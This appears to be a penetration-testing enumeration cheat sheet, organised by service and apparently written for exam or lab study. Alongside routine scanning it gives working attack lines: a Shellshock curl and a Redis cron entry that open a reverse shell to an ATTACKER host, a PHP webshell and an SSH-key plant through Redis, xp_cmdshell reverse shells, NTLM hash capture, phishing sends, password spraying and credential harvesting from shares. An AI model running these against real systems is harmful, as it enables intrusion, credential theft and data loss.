Enumeration Deep Reference
General Principles
- Add hostnames to /etc/hosts whenever you find them (page source, SSL certs, error pages, HTTP headers):
echo "$ip hostname.domain.local" | sudo tee -a /etc/hosts - searchsploit EVERY version you find — search broadly first, then narrow (e.g.,
Apache 2.4beforeApache 2.4.49)
HTTP/HTTPS (80, 443, 8080+)
Automated Recon (run in parallel)
# Technology identification
whatweb http://$ip
# Also use Wappalyzer browser extension
# Nikto (quick vuln scan)
nikto -h http://$ip -o nikto.txt
# Directory brute force — two wordlists for coverage
feroxbuster -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,asp,aspx,jsp,bak -C 404 -t 50
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50
# Virtual host / subdomain discovery (if domain known)
ffuf -u http://$ip/ -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>
gobuster vhost -u http://$ip -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Manual Checks
- Visit every page in browser, click everything
- View page source on EVERY page — comments, hidden fields, JS files, version numbers
- Check:
robots.txt,sitemap.xml,.git/HEAD,web.config,.env,phpinfo.php - Check SSL certificate (HTTPS) — reveals hostnames, email addresses
- Check for cgi-bin → if found, fuzz for
.sh,.pl,.cgifiles (Shellshock!):gobuster dir -u http://$ip/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi # Shellshock test: curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" http://$ip/cgi-bin/script.sh - Fuzz API endpoints if you suspect an API:
gobuster dir -u http://$ip/api -w /usr/share/wordlists/dirb/big.txt ffuf -u http://$ip/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt
Burp Suite Workflow
Use Burp Community (Proxy → Intercept) for:
- Intercepting and modifying requests (change parameters, methods, headers)
- Viewing full request/response pairs
- Repeater: replay and tweak requests quickly
- Decoder: encode/decode payloads
- Manually testing SQLi, SSTI, command injection in parameters
WordPress Admin → RCE
If you get WP admin creds:
- Appearance → Theme Editor →
404.php - Replace contents with PHP reverse shell
- Trigger:
http://$ip/wp-content/themes/<theme-name>/404.php
SMB (139, 445)
# Unauthenticated
enum4linux-ng -A $ip
smbclient -L //$ip -N
smbmap -H $ip
netexec smb $ip -u '' -p '' --shares
nmap --script smb-vuln* -p 445 $ip
# Authenticated
netexec smb $ip -u 'user' -p 'pass' --shares --users
smbmap -H $ip -u 'user' -p 'pass'
smbclient //$ip/share -U 'DOMAIN/user%pass'
Download Everything from a Share
smbclient //$ip/share -U 'user%pass' -c 'recurse;prompt;mget *'
# Or interactive:
smbclient //$ip/share -U 'user%pass'
mask ""
recurse ON
prompt OFF
mget *
Then grep downloaded files: grep -ri 'password\|credential\|secret' .
Searching ANY Large Data Dump (SMB loot, web roots, git repos)
# Step 1: See the STRUCTURE
tree dumped_data/ -L 2
# or: find dumped_data/ -type d | head -20
# Step 2: Find INTERESTING FILENAMES
find dumped_data/ -iname '*.config' -o -iname '*.bak' -o -iname '*.env' -o -iname '*.old' -o -iname '*.sql' -o -iname '*.log' -o -iname '.git' 2>/dev/null
# Step 3: Search file CONTENTS with noise filtering
grep -ri 'connectionstring\|password=\|pwd=\|user id=' dumped_data/ 2>/dev/null | grep -vi 'jquery\|\.js:\|deps.json\|nupkg\|\.dll'
# Step 4: Read what you found
cat dumped_data/path/to/interesting.config
Common mistakes:
- grep without -r = wont search directories recursively
- grep -ri password without noise filter = jQuery floods output
- Searching entire C: with dir /s = too slow. Check web roots first
Fast Data Extraction (DON’T waste hours reading files manually)
Step 1 — See what’s there BEFORE downloading (seconds):
# Recursive directory listing — see all files without downloading
smbmap -H $ip -u 'user' -p 'pass' -R
# Or with nxc:
nxc smb $ip -u 'user' -p 'pass' --shares
Step 2 — Spider for keywords WITHOUT downloading (fastest):
# nxc spider_plus — crawls all shares and dumps file listing to JSON
nxc smb $ip -u 'user' -p 'pass' -M spider_plus
# Output goes to /tmp/nxc_spider_plus/ — review the JSON for interesting filenames
cat /tmp/nxc_spider_plus/*.json | python3 -m json.tool | grep -i "password\|credential\|config\|backup\|secret\|key\|id_rsa\|\.kdbx\|\.conf\|\.ini\|\.log"
Step 3 — Mount the share locally (best for large data):
# Mount as a local directory — then use normal Linux tools (find, grep, etc.)
mkdir /tmp/smb_share
sudo mount -t cifs //$ip/share /tmp/smb_share -o username=user,password=pass
# Now search with full Linux power:
grep -ri 'password\|credential\|secret\|hash\|ntlm' /tmp/smb_share/ 2>/dev/null
find /tmp/smb_share/ -name "*.txt" -o -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.log" -o -name "*.bak" -o -name "*.kdbx" -o -name "id_rsa" 2>/dev/null
# Unmount when done:
sudo umount /tmp/smb_share
Step 4 — If mount fails, bulk download + grep:
# Download everything
smbclient //$ip/share -U 'user%pass' -c 'recurse;prompt;mget *'
# Then search locally:
grep -ri 'password\|credential\|secret\|hash\|ntlm\|connectionstring' . 2>/dev/null
find . -name "*.txt" -o -name "*.conf" -o -name "*.log" -o -name "*.bak" -o -name "*.kdbx" | xargs grep -li 'password\|secret\|hash' 2>/dev/null
Works for ANY large data dump (SMB, FTP, web scrape, git repo, anything):
# After downloading a bunch of files from any source:
# 1. INTERESTING FILENAMES — find files worth opening
find . -iname "*password*" -o -iname "*credential*" -o -iname "*secret*" -o -iname "*backup*" -o -iname "*dump*" 2>/dev/null
find . -iname "*.kdbx" -o -iname "*.key" -o -iname "*.pem" -o -iname "*.ppk" -o -iname "id_rsa" -o -iname "id_ed25519" 2>/dev/null
find . -iname "*.sql" -o -iname "*.db" -o -iname "*.sqlite" -o -iname "*.mdb" 2>/dev/null
find . -iname "*.bak" -o -iname "*.old" -o -iname "*.orig" -o -iname "*.save" -o -iname "*.swp" 2>/dev/null
find . -iname "*.zip" -o -iname "*.tar.gz" -o -iname "*.7z" -o -iname "*.rar" 2>/dev/null
# 2. WEB APP CONFIGS — hardcoded creds, DB connection strings, API keys
find . -iname "web.config" -o -iname "wp-config.php" -o -iname "config.php" -o -iname ".env" -o -iname "appsettings.json" -o -iname "database.yml" -o -iname ".htpasswd" -o -iname "connections.xml" 2>/dev/null
# 3. LOG FILES — often contain cleartext passwords, hashes, or usernames
find . -iname "*.log" 2>/dev/null
# Read logs that look interesting:
# grep -i 'password\|fail\|login\|auth\|ntlm\|hash\|credential' interesting.log
# 4. SEARCH FILE CONTENTS — the master grep
grep -ri 'password\|credential\|secret\|hash\|ntlm\|connectionstring\|pwd=\|pass=\|api_key\|apikey\|token\|mysql_connect\|db_password\|jdbc:' . 2>/dev/null | grep -v Binary | head -50
# 5. GIT REPOS — old commits often contain removed passwords
find . -name ".git" -type d 2>/dev/null
# If found:
# cd /path/to/repo && git log --oneline && git log -p | grep -i 'password\|secret\|key\|token'
# 6. SOURCE CODE with hardcoded creds
find . -iname "*.php" -o -iname "*.py" -o -iname "*.js" -o -iname "*.aspx" -o -iname "*.jsp" -o -iname "*.conf" -o -iname "*.ini" -o -iname "*.xml" 2>/dev/null | xargs grep -li 'password\|passwd\|pwd\|secret\|conn.*string' 2>/dev/null
# 7. RECENTLY MODIFIED files (more likely to be relevant)
find . -type f -mtime -90 -ls 2>/dev/null | head -30
# 8. HIDDEN FILES — dotfiles that admins hide
find . -name ".*" -type f 2>/dev/null
# 9. ARCHIVES — extract and search inside them
# unzip backup.zip -d backup_extracted/
# tar xzf backup.tar.gz -C backup_extracted/
# Then run the same searches inside the extracted folder
Quick one-liner to find EVERYTHING interesting (copy-paste this first):
find . \( -iname "*.log" -o -iname "*.bak" -o -iname "*.sql" -o -iname "*.conf" -o -iname "*.config" -o -iname "*.ini" -o -iname "*.env" -o -iname "*.kdbx" -o -iname "*.key" -o -iname "id_rsa" -o -iname "*.old" -o -iname "*password*" -o -iname "*backup*" -o -iname "*.db" -o -iname ".htpasswd" -o -iname "wp-config*" -o -iname "web.config" \) 2>/dev/null
→ Rule: Run the one-liner FIRST on every data dump. Read the interesting files. THEN dig deeper if needed.
Web App Config Files — WHERE ARE THE CREDS? (run on every SMB dump / web root)
When you dump SMB shares or access a web root, find the config file with the DB connection string first. Every web app stores DB creds in a config file.
# 1. FIND the config file — #1 priority
find . -iname "web.config" -o -iname "wp-config.php" -o -iname "config.php" -o -iname ".env" -o -iname "appsettings.json" -o -iname "database.yml" -o -iname "settings.py" 2>/dev/null
# 2. GREP for connection strings (filter out framework noise)
grep -ri "connectionstring\|password=\|pwd=\|user id=\|data source=\|db_password\|mysql_connect" . 2>/dev/null | grep -v Binary | grep -vi "jquery\|\.js:\|\.css:\|deps.json\|nupkg\|\.dll\|node_modules"
Config file locations by platform:
| Platform | Config File | What is Inside |
|---|---|---|
| DNN/DotNetNuke | web.config (wwwroot) | connectionStrings with SQL user/pass |
| WordPress | wp-config.php | DB_USER, DB_PASSWORD, DB_HOST |
| ASP.NET | web.config or appsettings.json | connectionStrings section |
| PHP (Laravel) | .env | DB_PASSWORD, APP_KEY, MAIL_PASSWORD |
| PHP (generic) | config.php, db.php | db_pass, mysqli_connect() |
| Umbraco | web.config (IIS) | connectionStrings + Umbraco keys |
| XAMPP | phpMyAdmin/config.inc.php | MySQL root password |
Once you find DB creds -> connect and dump users:
# MSSQL
impacket-mssqlclient "dbuser:dbpassword"@TARGET -port PORT
# Then: SELECT Username, Password FROM Users;
# MySQL
mysql -h TARGET -u dbuser -p"dbpassword"
# Then: SELECT user, password FROM mysql.user;
When grepping SMB dumps, FILTER OUT NOISE:
# BAD (thousands of false positives from jQuery, framework files)
grep -ri "password" . 2>/dev/null
# GOOD (targets config patterns, excludes noise)
grep -ri "password=\|pwd=\|connectionstring\|user id=" . 2>/dev/null | grep -vi "jquery\|\.js:\|\.css:\|deps.json\|nupkg"
SNMP (161 UDP)
# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $ip
# Enumerate with found community string
snmpcheck -t $ip -c public
snmpwalk -c public -v2c $ip
Windows-Specific SNMP OIDs (memorize these)
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25 # Usernames
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2 # Installed software
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3 # Open TCP ports
DNS (53)
# Zone transfer (try both)
dig AXFR @$ip <domain>
host -l <domain> $ip
# Subdomain enumeration
dnsrecon -d <domain> -t std
dnsrecon -d <domain> -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
dnsenum <domain>
# Reverse lookups (find hostnames on subnet)
for i in $(seq 1 254); do host 10.10.10.$i $ip; done | grep -v "not found"
nslookup $ip $ip
LDAP (389, 636)
# Anonymous bind
ldapsearch -x -H ldap://$ip -s base namingcontexts
ldapsearch -x -H ldap://$ip -b "DC=domain,DC=com"
# Authenticated
ldapsearch -x -H ldap://$ip -D 'DOMAIN\user' -w 'password' -b "DC=domain,DC=com"
# windapsearch (faster for AD)
python3 windapsearch.py --dc-ip $ip -u 'user' -p 'pass' --da --privileged-users
FTP (21)
ftp $ip # try anonymous:anonymous
# Inside FTP:
ls -la
binary # switch to binary mode for non-text files
get <file>
put <file> # test upload — if FTP root = web root, upload webshell
If FTP root overlaps with web root → upload PHP/ASP webshell → trigger via browser.
SMTP (25)
Enumeration
# Banner grab — reveals software, version, hostname, sometimes domain name
nc -nv $ip 25
nmap -p 25 --script smtp-commands,smtp-enum-users,smtp-ntlm-info $ip
User Enumeration (3 methods — try all, servers block different ones)
# Method 1: VRFY (most common, often works)
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $ip
# Method 2: EXPN (expand mailing lists — sometimes reveals users when VRFY blocked)
smtp-user-enum -M EXPN -U /usr/share/seclists/Usernames/Names/names.txt -t $ip
smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/Names/names.txt -t $ip -D domain.com
Manual VRFY (when tools fail or for quick checks)
nc -nv $ip 25
# EHLO attacker.com
# VRFY admin
# VRFY root
# VRFY john
# 252 = user exists, 550 = doesn't exist
What to do with found usernames
# 1. Feed into password spraying
nxc smb $ip -u smtp_users.txt -p passwords.txt --continue-on-success
nxc winrm $ip -u smtp_users.txt -p passwords.txt --continue-on-success
# 2. Feed into kerbrute (if AD environment)
kerbrute userenum --dc DC_IP -d domain.com smtp_users.txt
# 3. Feed into AS-REP roasting
impacket-GetNPUsers 'domain.com/' -usersfile smtp_users.txt -dc-ip DC_IP -no-pass
# 4. Client-side attack — send phishing email with payload
Send email (for client-side attacks / phishing in AD)
# swaks — the Swiss Army Knife for SMTP
swaks -t [email protected] --from [email protected] --attach @payload.ext --server $ip --body @body.txt --header "Subject: Important" --suppress-data -ap
# Simple send via nc (if swaks not available)
nc -nv $ip 25
# EHLO attacker.com
# MAIL FROM:<[email protected]>
# RCPT TO:<[email protected]>
# DATA
# Subject: Important
# <message body>
# .
# QUIT
Email Address Enumeration with swaks
When VRFY and RCPT TO return nothing via smtp-user-enum, use swaks directly:
# Test a single address
sudo swaks -t [email protected] --from [email protected] --server $ip --body "test" --header "Subject: test"
# Reading the output:
# MAIL FROM -> 250 OK = sender accepted (always works, ignore it)
# RCPT TO -> 250 OK = recipient EXISTS
# RCPT TO -> 550 Unknown = recipient DOES NOT EXIST
# Loop through usernames
for user in name1 name2 name3; do
echo -n "$user@domain.com: "
sudo swaks -t "$user@domain.com" --from [email protected] --server $ip --body "test" --header "Subject: test" 2>&1 | grep -oP '(250 OK|550 Unknown)'
done
SMTP Authentication
If ALL addresses return 550, the server may require authentication:
# With auth creds (found from git repos, config files, databases)
sudo swaks -t [email protected] --from [email protected] --server $ip --body @body.txt --header "Subject: Important" -ap -au username -ap password
NFS (2049)
showmount -e $ip
mkdir /tmp/nfs && mount -t nfs $ip:/share /tmp/nfs
ls -la /tmp/nfs
MSSQL (1433)
Connection — try BOTH auth types
# Windows auth (domain/local Windows accounts) — TRY THIS FIRST
impacket-mssqlclient 'user:pass'@$ip -windows-auth
# SQL auth (SQL Server accounts) — try if -windows-auth fails
impacket-mssqlclient 'user:pass'@$ip
# ⚠️ If password has $ in it, use single quotes to prevent bash expansion
impacket-mssqlclient 'user:P@ssw0rd$123'@$ip -windows-auth
Once Connected — Full Enumeration Workflow
-- 0. Current context
SELECT SYSTEM_USER;
SELECT ORIGINAL_LOGIN();
SELECT USER_NAME();
SELECT DB_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');
1. Quick Impacket Helpers
enum_db enum_logins enum_users enum_owner enum_impersonate enum_links
If enum_impersonate shows a login, impersonate it:
exec_as_login LOGIN_NAME
Manual impersonation:
EXECUTE AS LOGIN = 'LOGIN_NAME';
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT DB_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');
Return to original login:
REVERT;
2. List Databases
SELECT name FROM master.sys.databases;
Check what DB you can access:
SELECT name, HAS_DBACCESS(name) AS has_access FROM master.sys.databases;
Switch database:
USE dbname;
SELECT DB_NAME();
3. List Tables
Inside current database:
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
From another database without switching:
SELECT TABLE_SCHEMA, TABLE_NAME FROM dbname.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
Important format:
database.schema.table
4. List Columns
Inside current database:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS ORDER BY TABLE_NAME, ORDINAL_POSITION;
Find interesting columns:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pass%' OR COLUMN_NAME LIKE '%user%' OR COLUMN_NAME LIKE '%hash%' OR COLUMN_NAME LIKE '%email%' OR COLUMN_NAME LIKE '%login%' OR COLUMN_NAME LIKE '%key%' OR COLUMN_NAME LIKE '%token%' ORDER BY TABLE_NAME;
From another database:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM dbname.INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pass%' OR COLUMN_NAME LIKE '%user%' OR COLUMN_NAME LIKE '%hash%' OR COLUMN_NAME LIKE '%email%' OR COLUMN_NAME LIKE '%login%' OR COLUMN_NAME LIKE '%key%' OR COLUMN_NAME LIKE '%token%' ORDER BY TABLE_NAME;
5. Dump Interesting Table
Basic:
SELECT * FROM dbo.TableName;
Top rows:
SELECT TOP 20 * FROM dbo.TableName;
Full path:
SELECT * FROM dbname.dbo.TableName;
6. Impersonation Path
Find who can be impersonated:
SELECT DISTINCT b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
Alternative:
SELECT pe.permission_name, pe.state_desc, pr.name AS principal FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantor_principal_id = pr.principal_id WHERE pe.permission_name = 'IMPERSONATE';
Impersonate:
EXECUTE AS LOGIN = 'LOGIN_NAME';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
If sysadmin = 1:
enable_xp_cmdshell EXEC xp_cmdshell 'whoami';
If sysadmin = 0:
SELECT name, HAS_DBACCESS(name) AS has_access FROM master.sys.databases;
Then enumerate readable DBs.
7. xp_cmdshell
Impacket shortcut:
enable_xp_cmdshell xp_cmdshell whoami
Manual SQL:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
If xp_cmdshell ‘whoami’ gives syntax error, use:
EXEC xp_cmdshell 'whoami';
Reverse shell:
EXEC xp_cmdshell 'powershell -exec bypass -enc BASE64_PAYLOAD';
8. Common Mistakes
- Forgetting
RECONFIGUREaftersp_configure— the setting silently doesn’t apply - Running
xp_cmdshellbefore confirmingIS_SRVROLEMEMBER('sysadmin') = 1— wasted time when you aren’t sysadmin - Forgetting
REVERT;afterEXECUTE AS LOGIN— you stay impersonated and later checks read the wrong context - A
--comment kills the rest of its line — keep comments on their own line, not glued to aSELECT
9. Fast Decision Flow
Connected to MSSQL
↓ Check sysadmin
↓ If sysadmin = 1 → xp_cmdshell
↓ If sysadmin = 0 → enum_impersonate
↓ If can impersonate → EXECUTE AS LOGIN
↓ Check sysadmin again
↓ If still not sysadmin → list DB access
↓ Find readable DB
↓ List tables
↓ List interesting columns
↓ Dump creds
↓ Spray creds against SMB/WinRM/RDP/MSSQL
Not sysadmin? You cant run xp_cmdshell, but you CAN dump user tables for credentials. Those creds spray to other machines.
Legacy Enumeration (quick checks)
SELECT @@version;
SELECT name FROM master.dbo.sysdatabases;
SELECT * FROM master..syslogins;
Command Execution (xp_cmdshell)
-- Enable xp_cmdshell (needs sysadmin role)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Steal NTLMv2 Hash (if xp_cmdshell denied)
# Terminal 1: Start Responder
sudo responder -I tun0
# Terminal 2: In MSSQL client force auth to your IP
EXEC xp_dirtree '\\YOUR_IP\\share', 1, 1;
# Or:
EXEC master..xp_subdirs '\\YOUR_IP\\share';
Responder catches the MSSQL service account NTLMv2 hash → crack with hashcat -m 5600
Redis (6379) — Often No Auth = Free Shell
Redis with no authentication is a gift. Check it on every engagement.
# Test connection (no auth needed if misconfigured)
redis-cli -h $ip
> INFO # server info — check OS, version
> CONFIG GET dir # current working directory
> CONFIG GET dbfilename # current dump file name
Method 1 — Write SSH Key (Linux target, preferred)
# Generate key pair
ssh-keygen -t rsa -f ./redis_key -N ""
# Pad key with newlines (CRITICAL — Redis RDB format adds junk bytes before/after your data)
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt
# Write key into Redis and dump to authorized_keys
# ⚠️ FLUSHALL wipes ALL Redis data — fine on exam, dangerous in real engagements
redis-cli -h $ip flushall
cat spaced_key.txt | redis-cli -h $ip -x set crackit
redis-cli -h $ip CONFIG SET dir /root/.ssh/
redis-cli -h $ip CONFIG SET dbfilename "authorized_keys"
redis-cli -h $ip save
# Connect
ssh -i redis_key root@$ip
Method 2 — Write Cron Job (if .ssh dir doesn’t exist)
redis-cli -h $ip
> SET rev "\n\n*/1 * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n\n"
> CONFIG SET dir /var/spool/cron/crontabs/
> CONFIG SET dbfilename root
> SAVE
Wait up to 1 minute for cron to fire. Catch with nc -lvnp 4444.
Method 3 — Write Webshell (if web server is running)
redis-cli -h $ip
> CONFIG SET dir /var/www/html/
> SET shell "<?php system($_GET['cmd']); ?>"
> CONFIG SET dbfilename shell.php
> SAVE
Browse to: http://$ip/shell.php?cmd=id
If CONFIG SET is disabled: Redis 4.x+ may have MODULE LOAD — search for Redis Rogue Server exploit on GitHub.
RDP (3389)
xfreerdp /u:user /p:'pass' /v:$ip /cert:ignore +clipboard
xfreerdp /d:domain.com /u:user /p:'pass' /v:$ip /cert:ignore +clipboard
Port Scanning from Inside a Network (No Tools)
When you’ve pivoted and don’t have nmap:
# Bash (Linux)
for i in $(seq 1 254); do (ping -c 1 -W 1 10.10.10.$i | grep "bytes from" &); done
for port in 21 22 80 135 139 445 3389 5985; do (echo >/dev/tcp/10.10.10.5/$port) 2>/dev/null && echo "$port open"; done
# PowerShell (Windows)
1..254 | % {Test-Connection "10.10.10.$_" -Count 1 -Quiet -TimeoutSeconds 1}
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.5", $_)) "TCP port $_ is open"} 2>$null
Test-NetConnection -Port 445 10.10.10.5
Large SMB Share Enumeration Discipline
When nxc –shares shows READ access on non-default shares (apps, monitoring, scripts, backup, data), do NOT mget everything blindly. Follow this order:
Step 1: List recursively WITHOUT downloading
smbclient //IP/sharename -U ‘DOMAIN\user%pass’ -c ‘recurse ON; ls’
Step 2: Identify high-signal files
Priority file types:
- .ps1 .psm1 — PowerShell scripts
- PowerShell_transcript.*.txt — transcripts with cleartext passwords
- .kdbx — KeePass databases
- .config .xml — connection strings, credentials
- .log .txt — may contain command history
- .ini .properties — config
- .bat .cmd .sh — scripts with embedded creds
- .ps1xml — PowerShell module definitions
Low-signal: .exe .dll .jpg .png .msi (unless you need a binary to reverse)
Step 3: Targeted download
smbclient //IP/share -U ‘user%pass’ -c ‘recurse ON; prompt OFF; mask *.ps1; mget *; mask *.txt; mget *’
Step 4: Content search with smbmap (no download)
smbmap -H IP -u user -p pass -d domain -R sharename -A ‘password|secure|credential|transcript’
smbmap flags:
- -A PATTERN : content search (grep inside files)
- -F PATTERN : filename pattern
- -R PATH : recursive from path
- –search-path PATH : where to start
- –download PATH : download specific file
Common syntax gotcha: –search is ambiguous (matches –search-path and –search-timeout), use -A or -F.
Step 5: Grep downloaded content
grep -ri password . grep -riE ‘password|secret|credential|api[_-]?key|token|ConvertTo-SecureString|PSCredential’
A low-privileged user had READ on a share containing PowerShell transcript files; a Domain Administrator cleartext password sat in one. Always grep transcripts for ConvertTo-SecureString / PSCredential:
Took 30 seconds with the right grep. Would have taken hours dumping apps first.
Rule: list before download. Filter by filetype. Grep ConvertTo-SecureString and PSCredential first.